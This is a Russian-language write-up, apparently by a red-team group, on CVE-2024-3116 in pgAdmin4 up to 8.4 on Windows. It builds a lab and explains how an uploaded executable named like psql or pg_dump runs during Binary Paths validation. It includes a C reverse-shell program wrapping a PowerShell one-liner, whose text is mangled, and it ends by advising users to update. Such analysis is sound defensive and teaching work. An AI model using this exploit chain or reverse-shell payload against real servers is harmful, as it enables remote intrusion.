pgAdmin4 CVE-2024-3116

22 апреля была зарегистрирована уязвимость CVE-2024–3116, получившая 7.4 баллов по CVSS. Эта уязвимость приводит к удаленному выполнению кода в серверной версии pgAdmin4 ≤ 8.4 на системах Windows.

pgAdmin4 — это графический инструмент, предназначенный для администрирования баз данных PostgreSQL. Он поддерживает работу в двух режимах — desktop и server.

Для эксплуатации этой уязвимости необходимо обладать валидными учетными данными.

Сегодня в данной статье мы подготовим стенд и разберем детали этой уязвимости.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество «GISCYBERTEAM» не несёт ответственности за любые последствия ее использования третьими лицами.

Подготовка стенда

Для демонстрации уязвимости был использован pgAdmin4 версии 8.4.

Перед установкой необходимо установить python3 (желательно использовать версию 3.7), postgresql, nodejs и yarn.

Для начала необходимо скачать архив с этой версией с официального репозитория в GitHub по следующей ссылке.

После распаковки архива необходимо перейти в папку репозиторий и установить библиотеки для python:

pip install -r requirements.txt

Далее необходимо перейти в каталог web и установить фронтенд-компоненты:

yarn install
yarn run bundle

После этого необходимо создать файл config_local.py со следующим содержимым:

from config import *
STORAGE_DIR = r'C:\Temp' # папка, куда будут сохраняться файлы, можно указать любую
Debug mode
DEBUG = True
App mode
SERVER_MODE = True
Log
CONSOLE_LOG_LEVEL = DEBUG
FILE_LOG_LEVEL = DEBUG
DEFAULT_SERVER = '0.0.0.0' # можем указать адрес из любого интерфейса
UPGRADE_CHECK_ENABLED = True
Use a different config DB for each server mode.
if SERVER_MODE == False:
SQLITE_PATH = os.path.join(
DATA_DIR,
'pgadmin4-desktop.db'
)
else:
SQLITE_PATH = os.path.join(
DATA_DIR,
'pgadmin4-server.db'
)

Теперь остается запустить файл setup.py и создать нового пользователя:

python setup.py add-user --admin EMAIL PASSWORD

После этого можно запустить файл pgAdmin.py:

python pgAdmi4n.py

Теперь на порту 5050 должна быть доступна веб-версия:

0765dbc10b1c35b499379ce96ccb271b.png

Разбор уязвимости

pgAdmin4 позволяет загружать файлы в свое хранилище, уязвимость хранится именно здесь. Для этого необходимо залогиниться в веб-форме, перейти в вкладку Tools → Storage Manager:

41b299fb13b710af8ebb8820b4da7356.png

После этого появится окно, где можно загрузить файл:

4f7c2a68a3fc44c9b2cd117cafcbafb5.png

Если взглянуть на запрос для загрузки файла, мы можем увидеть по какому пути сохранился наш файл:

4e58dab575b79a8fe454254a196618c4.png

Этот файл должен появится в указанной директории на целевой машине:

c0ef63f99c2bb7645bf53ec1c9b020e7.png

Как это можно проэксплуатировать? В pgAdmin4 есть интересная возможность указать путь к утилитам для работы с postgres, например psql, pg_dump, pg_dumpall, pg_restore. Это можно сделать перейдя в раздел File → Preferences → Binary Paths:

1b2a8faf3925cedaa746fe567c73145d.png

Попробуем указать известную нам директорию из предыдущего запроса и нажмем на кнопку с галкой. Посмотрим на запрос:

48f3fc9a707d953152f4293ed8bb50b8.png

Найдем в исходном коде функцию, отвечающую за обработку этого запроса:

3eb450ac3901b11e6c6cfe657b4b62a5.png

Видим, что цикл пробегается по файлам в указанной директории и передает их далее в функцию get_binary_path_version. Эта функция выглядит следующим образом:

0d1227466dfcfa0658f113c99e8f73a7.png

Сначала идет проверка, входит ли имя файла в массив UTILITIES_ARRAY, в случае истины запускается файл с флагом --version, а функция возвращает результат. Именно здесь кроется уязвимость, которую мы можем проэксплуатировать, загрузив в хранилище наш исполняемый файл с любым названием из массива UTILITIES_ARRAY.

В файле с константами можно увидеть из чего состоит этот массив: UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']

Подготовка нагрузки

Для начала нам необходимо создать исполняемый файл с обратным шеллом. Сделать это можно либо с помощью msfvenom:

7e2bf44ec245fc1070980408dc832f29.png

Либо руками скомпилировать C-файл через mingw:

#include 
#include 
#include 
int main(int argc, char *argv[]) {
  if (argc > 1 && strcmp(argv[1], "--version") == 0) {
    system("powershell -nop -c "stream = bytes = 0..65535|%{0};while((bytes, 0, data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(sendback = (iex sendback2 = sendbyte = ([text.encoding]::ASCII).GetBytes(stream.Write(sendbyte.Length);client.Close()"");
  } else {
    printf("Usage: %s --version\n", argv[0]);
  }
  return 0;
}

867827df28195ef48e32d23ece8bbee1.png

После нажатия кнопки валидации этого бинаря в настройках, мы можем получить обратный шелл:

6e3d3f2ffc2fb9295a403b9907045c38.png

Подобная уязвимость не сработает на Linux, так как при загрузке файла в хранилище, он сохранится без прав на выполнение.

Заключение

Сегодня мы с вами рассмотрели уязвимость удаленного выполнения кода в pgAdmin4. При желании можно автоматизировать эксплуатацию, написав скрипт с аутентификацией, загрузкой файла и его валидацией.

Если вы используете pgAdmin4 в серверном моде, рекомендуется обновиться до последней версии, чтобы избежать возможной эксплуатации со стороны злоумышленников.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

© Habrahabr.ru